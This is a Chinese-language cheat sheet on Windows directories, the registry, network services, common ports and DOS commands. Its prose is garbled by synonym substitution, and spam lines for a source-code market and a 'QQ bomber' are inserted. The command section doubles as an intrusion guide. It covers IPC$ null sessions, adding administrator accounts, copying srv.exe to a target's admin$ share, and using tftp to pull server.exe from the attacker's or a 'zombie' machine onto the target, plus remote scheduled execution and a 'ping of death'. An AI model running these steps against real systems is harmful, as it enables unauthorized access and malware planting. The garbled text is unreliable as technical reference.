一、Window重要目录
1.ProgramData：C:ProgramData 是个共用的被创立文件夹或文件寄存的当地，这些文件夹或文件仅由创立者完好操控。programdata是电脑C盘的一个体系文件夹
2.Program Files和Program Files（86）：程序软件默许装置目录，它们的区别是前者是装置64位软件，后者是装置32位软件
3.Window：体系装置目录
4.C:WindowsSystem32config SAM：存储体系用户名和暗码
5.C:WindowsSystem32driversetchosts: host是一个没有扩展名的体系文件，能够用记事本等东西翻开，其效果便是将一些常用的网址域名与其对应的IP地址树立一个相关“数据库”，当用户在阅读器中输入一个需求登录的网址时，体系会首要主动从hosts文件中寻觅对应的IP地址，一旦找到，体系会当即翻开对应网页，假如没有找到，则体系再会将网址提交DNS域名解析服务器进行IP地址的解析
二、注册表
1、简介：注册表（Registry，繁体中文版Windows操作体系称之为登录档）是Microsoft Windows中的一个重要的数据库，用于存储体系和运用程序的设置信息。
2.效果：注册表是windows操作体系中的一个中心数据库，其间寄存着各种参数，直接操控着windows的发动、硬件驱动程序的装载以及一些windows运用程序的运转，从而在整个体系中起着中心效果。这些效果包含了软、硬件的相关装备和状况信息，比方注册表中保存有运用程序和资源办理器外壳的初始条件、首选项和卸载数据等，联网核算机的整个体系的设置和各种答应，文件扩展名与运用程序的相关，硬件部件的描绘、状况和特点，功能记载和其他底层的体系状况信息，以及其他数据等。
三、核算机服务称号
1．万维网（WWW）
万维网（World Wide Web，简称WWW）是瑞士日内瓦欧洲粒子实验室最早开发的一个分布式超媒体信息查询体系，现在它是因特网上最为先进、交互功能最好、运用最为广泛的信息检索东西，万维网包含各式各样的信息，如：文本、声响、图画、视频等。万维网选用了"超文本"的技能，使得用户以通用而简略的方法就可取得因特网上的各种信息。
2．电子邮件（E-mail）
电子邮件（Electronic mail，简写为E-mail）是因特网上运用最广泛的一种服务。用户只需能与因特网衔接，具有能收发电子邮件程序及个人的电子邮件地址，就能够与因特网上具有电子邮件地址的一切用户便利、方便、经济地沟通电子邮件。电子邮件能够在两个用户间沟通，也能够向多个用户发送同一封邮件，或将收到的邮件转发给其它用户。电子邮件中除文本外，还可包含声响、图画、运用程序等各类核算机文件。此外，用户还能够以邮件方法在网上订阅电子杂志、获取所需文件、参与有关的布告和评论组等。A8站源码交易平台
3．文本传输协议（FTP）
文本传输协议（File Transfer Protocol，简称FTP）是因特网上文件传输的根底，一般所说的FTP是根据该协议的一种服务。FTP文本传输服务答应因特网上的用户将一台核算机上的文件传输到另一台上，简直一切类型的文件，包含文本文件、二进制可履行文件、声响文件、图画文件、数据压缩文件等，都能够用FTP传送。
FTP实际上是一套文件服务软件，它以文件传输为界面，运用简略的get和put指令就能够进行文件的下载和上传，如同在因特网上履行文件仿制指令相同。大多数FTP服务器主机都选用UNIX操作体系，但普通用户经过Windows98和Windows XP也能便利地运用FTP和UNIX主机进行文件的传输。A8站源码交易平台
FTP最大的特点是用户能够运用因特网上很多的匿名FTP服务器。所谓匿名服务器，指的是不需求专门的用户名和口令就能够进入的体系。用户衔接匿名服务器时，都能够用"Anonymous"（匿名）作为用户名、以自己的电子邮件地址作为口令登录。登录成功后，用户便可从匿名服务器上下载文件。匿名服务器的规范目录为pub，用户一般能够拜访该目录下一切子目录中的文件。考虑到安全问题，大多数匿名服务器不答应用户上传文件。
4．长途登录（Telnet）
Telnet是长途登录服务的一个协议，该协议界说了长途登录用户与服务器交互的方法。答应用户在一台联网的核算机登录到一个长途分时体系时，然后像运用自己的核算机相同运用该长途体系。
要运用长途登录服务，有必要在本地核算机上发动一个客户运用程序，指定长途核算机的姓名，并经过因特网与之树立衔接。一旦衔接成功，本地核算机就像一般的终端相同，直接拜访长途核算机体系的资源。长途登软件答应用户直接与长途核算机交互，经过键盘或鼠标操作，客户运用程序将有关的信息发送给长途核算机，再由长途核算机将输出成果回来给用户。用户退出长途登录后，用户的键盘、显现操控权又回到本地核算机。一般用户可经过Windows XP的Telnet客房程序进行长途登录。
5．专题评论（Usenet）
Usenet是一个有很多兴趣相投的用户一起安排起来的各种专题评论组的调集。一般也将之称为全球性的电子布告板体系（BBS）。Usenet用于发布布告、新闻、评论及各种文章供网上用户运用和评论。评论内容按不同的专题分类安排，每一类为一个专题组，称为新闻组，其内部还能够分出更多的子专题。
Usenet的每一个新闻组都由一个区别类型的符号引导，每个新闻组环绕一个主题，如comp.（核算机方面的内容）、news.（Usenet自身的新闻与音讯）、rec.（体育、艺术及娱乐活动）、sci.（科学技能）、soc.（社会问题）、talk.（评论沟通）、misc.（其它杂项论题）、biz.（商业方面问题）等。
用户除了能够挑选参与感兴趣的专题小组外，也能够自己开设新的专题组。只需有人参与该专题组就能够一向存在下去；若一段时刻无人参与，则这个专题组会被主动删去。
6．Internet唠嗑
Internet唠嗑便是咱们了解的IRC，即Internet Relay Chat。假如说电子邮件、网络新闻是因特网上的存储转发的通讯事务，即能够使接纳者在恰当的时分看到的话，那么，IRC便是因特网上的一个实时通讯事务，它能够使接纳者和发送者都处于联机状况，使他们直接在因特网上进行攀谈。能够运用这种方法举行网上会议，使网络上的相关用户能够直接实时地就某些问题进行评论，并提出解决方案。现在国内较闻名的中文谈天软件有藤讯公司的OICQ等
四、常用端口
21端口：21端口首要用于ftp（file transfer protocol，文件传输协议）服务。
23端口：23端口首要用于telnet（长途登录）服务，是internet上遍及选用的登录和仿真程序。
25端口：25端口为smtp（simple mail transfer protocol，简略邮件传输协议）服务器所敞开，首要用于发送邮件，现在绝大多数邮件服务器都运用该协议。
53端口：53端口为dns（domain name server，域名服务器）服务器所敞开，首要用于域名解析，dns服务在nt体系中运用的最为广泛。
67、68端口：67、68端口别离是为bootp服务的bootstrap protocol server（引导程序协议服务端）和bootstrap protocol client（引导程序协议客户端）敞开的端口。
69端口：tftp是cisco公司开发的一个简略文件传输协议，类似于ftp。 79端口：79端口是为finger服务敞开的，首要用于查询长途主机在线用户、操作体系类型以及是否缓冲区溢出等用户的详细信息。
80端口：80端口是为http（hypertext transport protocol，超文本传输协议）敞开的，这是上网冲浪运用最多的协议，首要用于在www（world wide web，万维网）服务上传输信息的协议。
99端口：99端口是用于一个名为“metagram relay”（亚对策延时）的服务，该服务比较罕见，一般是用不到的。
109、110端口：109端口是为pop2（post office protocol version 2，邮局协议2）服务敞开的，110端口是为pop3（邮件协议3）服务敞开的，pop2、pop3都是首要用于接纳邮件的。
111端口：111端口是sun公司的rpc（remote procedure call，长途过程调用）服务所敞开的端口，首要用于分布式体系中不同核算机的内部进程通讯，rpc在多种网络服务中都是很重要的组件。
113端口：113端口首要用于windows的“authentication service”（验证服务）。
119端口：119端口是为“network news transfer protocol”（网络新闻组传输协议，简称nntp）敞开的。
135端口：135端口首要用于运用rpc（remote procedure call，长途过程调用）协议并供给dcom（分布式组件方针模型）服务。
137端口：137端口首要用于“netbios name service”（netbios称号服务）。
139端口：139端口是为“netbios session service”供给的，首要用于供给windows文件和打印机同享以及unix中的samba服务。
143端口：143端口首要是用于“internet message access protocol”v2（internet音讯拜访协议，简称imap）。
161端口：161端口是用于“simple network management protocol”（简略网络办理协议，简称snmp）。
443端口：43端口即网页阅读端口，首要是用于https服务，是供给加密和经过安全端口传输的另一种http。
554端口：554端口默许状况下用于“real time streaming protocol”（实时流协议，简称rtsp）。
1024端口：1024端口一般不固定分配给某个服务，在英文中的解说是“reserved”（保存）。
1080端口：1080端口是socks署理服务运用的端口，我们平常上网运用的www服务运用的是http协议的署理服务。
1755端口：1755端口默许状况下用于“microsoft media server”（微软媒体服务器，简称mms）。
4000端口：4000端口是用于我们常常运用的 谈天东西的，再细说便是为 客户端敞开的端口， 服务端运用的端口是8000。
5554端口：在本年4月30日就报导呈现了一种针对微软lsass服务的新蠕虫病毒——震荡波（worm.sasser），该病毒能够运用tcp 5554端口敞开一个ftp服务，首要被用于病毒的传达。
5632端口：5632端口是被我们所了解的长途操控软件pcanywhere所敞开的端口。
8080端口：8080端口同80端口，是被用于www署理服务的，能够完成网页端口概念 在网络技能中，端口（port）大致有两种意思：一是物理意义上的端口，比方，adsl modem、集线器、沟通机、路由器用于衔接其他网络设备的接口，如rj-45端口、sc端口等等。二是逻辑意义上的端口，一般是指tcp/ip协议中的端口，端口号的规模从0到65535，比方用于阅读网页服务的80端口，用于ftp服务的21端口等等。 们这儿即将介绍的便是逻辑意义上的端口。
3306端口：mysql
1433端口：sqlserver
1521端口：oracle
3389： 长途桌面
五、常用DOS指令
dir (directory) ：列出当时目录下的文件以及文件夹
md (make directory)： 创立目录
rd (remove directory)：删去目录
cd (change directory)：进入指定目录
cd.. : 退回到上一级目录
cd : 退回到根目录
del：删去文件
exit：退出dos指令行
cls (clear screen): 清屏
A8站源码交易平台
net use ipipc$ " " /user:" " 树立IPC空链接
net use ipipc$ "暗码" /user:"用户名" 树立IPC非空链接
net use h: ipc$ "暗码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: ipc$ 登陆后映射对方C：到本地为H:
net use ipipc$ /del 删去IPC链接
net use h: /del 删去映射对方到本地的为H:的映射
net user 用户名 暗码 /add 树立用户
net user guest /active:yes 激活guest用户
net user 检查有哪些用户
net user 帐户名 检查帐户的特点
net localgroup administrators 用户名 /add 把“用户”增加到办理员中使其具有办理员权限,留意：administrator后加s用复数
net start 检查敞开了哪些服务
net start 服务名 敞开服务；(如:net start telnet， net start schedule)
net stop 服务名 中止某服务
net time 方针ip 检查对方时刻
net time 方针ip /set 设置本地核算机时刻与“方针IP”主机的时刻同步,加上参数/yes可撤销承认信息
net view 检查本地局域网内敞开了哪些同享
net view ip 检查对方局域网内敞开了哪些同享
net config 显现体系网络设置
net logoff 断开衔接的同享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在运用的网络衔接类型和信息
net share 检查本地敞开的同享
net share ipc$ 敞开ipc$同享
net share ipc$ /del 删去ipc$同享
net share c$ /del 删去C：同享
net user guest 12345 用guest用户登陆后用将暗码改为12345
net password 暗码 更改体系登陆暗码
netstat -a 检查敞开了哪些端口,常用netstat -an
netstat -n 检查端口的网络衔接状况，常用netstat -an
netstat -v 检查正在进行的作业
netstat -p 协议名 例：netstat -p tcq/ip 检查某协议运用状况（检查tcp/ip协议运用状况）
netstat -s 检查正在运用的一切协议运用状况
nbtstat -A ip 对方136到139其间一个端口开了的话，就可检查对方最近登陆的用户名（03前的为用户名）-留意：参数-A要大写
tracert -参数 ip(或核算机名) 盯梢路由（数据包），参数：“-w数字”用于设置超时刻隔。
ping ip(或域名) 向对方主机发送默许巨细为32字节的数据，参数：“-l[空格]数据包巨细”；“-n发送数据次数”；“-t”指一向ping。
ping -t -l 65550 ip 逝世之ping(发送大于64K的文件并一向ping就成了逝世之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)检查本地ip地址，ipconfig可用参数“/all”显现悉数装备信息
tlist -t 以树队伍表显现进程(为体系的附加东西，默许是没有装置的，在装置目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制完毕某进程(为体系的附加东西，默许是没有装置的，在装置目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删去只读文件,/AR、/AH、/AS、/AA别离表明删去只读、躲藏、体系、存档文件，/A-R、/A-H、/A-S、/A-A表明删去除只读、躲藏、体系、存档以外的文件。
例如“DEL/AR *.*”表明删去当时目录下一切只读文件，“DEL/A-S *.*”表明删去当时目录下除体系文件以外的一切文件
怎么qq轰炸他人手机 怎么qq屡次发送音讯 教你怎么用记事本创立一个微信 QQ轰炸器 通讯软件通用！
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删去目录及目录下的一切子目录和文件。一起运用参数/Q 可撤销删去操作时的体系承认就直接删去。（二个指令效果相同）
move 盘符途径要移动的文件名 寄存移动文件的途径移动后文件名 移动文件,用参数/y将撤销承认移动目录存在相同文件的提示就直接掩盖
fc one.txt two.txt > 3st.txt 比照二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向指令
at id号 敞开已注册的某个计划任务
at /delete 中止一切计划任务，用参数/yes则不需求承认就直接中止
at id号 /delete 中止某个已注册的计划任务
at 检查一切的计划任务
at ip time 程序名(或一个指令) /r 在某时刻运转对方某程序并重新发动核算机
finger username @host 检查最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默许端口为23
open ip 衔接到IP（属telnet登陆后的指令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 途径文件名1 途径文件名2 /y 仿制文件1到指定的目录为文件2，用参数/y就一起撤销承认你要改写一份现存目录文件
copy c:srv.exe ipadmin$ 仿制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格局文件
copy ipadmin$svv.exe c: 或:copyipadmin$*.* 仿制对方admini$同享下的srv.exe文件（一切文件）至本地C：
xcopy 要仿制的文件或目录树 方针地址目录名 仿制文件和目录树，用参数/Y将不提示掩盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后，将“IP”的server.exe下载到方针主机c:server.exe 参数：-i指以二进制形式传送，如传送exe文件时用，如不加-i 则以ASCII形式（传送文本文件形式）进行传送
tftp -i 对方IP put c:server.exe 登陆后，上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默许端口为21。bin指用二进制方法传送（可履行文件进）；默许为ASCII格局传送(文本文件时)
route print 显现出IP路由，将首要显现网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 检查和处理ARP缓存，ARP是姓名解析的意思，担任把一个IP解析成一个物理性的MAC地址。arp -a将显现出悉数信息
start 程序名或指令 /max 或/min 新开一个新窗口并最大化（最小化）运转某程序或指令
mem 检查cpu运用状况
attrib 文件名(目录名) 检查某文件（目录）的特点
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(增加)某文件的 存档，只读，体系，躲藏 特点；用＋则是增加为某特点
dir 检查文件，参数：/Q显现文件及目录属体系哪个用户，/T:C显现文件创立时刻，/T:A显现文件前次被拜访时刻，/T:W前次被修正时刻
date /t 、 time /t 运用此参数即“DATE/T”、“TIME/T”将只显现当时日期和时刻，而不用输入新日期和时刻
set 指定环境变量称号=要指派给变量的字符 设置环境变量
set 显现当时一切的环境变量
set p(或其它字符) 显现出当时以字符p(或其它字符)最初的一切环境变量
pause 暂停批处理程序，并显现出：请按任意键持续....
if 在批处理程序中履行条件处理（更多阐明见if指令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签有必要独自一行，且以冒号打头，例如：“：start”标签）
call 途径批处理文件名 从批处理程序中调用另一个批处理程序 （更多阐明见call /?）
for 对一组文件中的每一个文件履行某个特定指令（更多阐明见for指令及变量）
echo on或off 翻开或封闭echo，仅用echo不加参数则显现当时echo设置
echo 信息 在屏幕上显现出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻觅字符串hello
find 文件名 查找某文件.
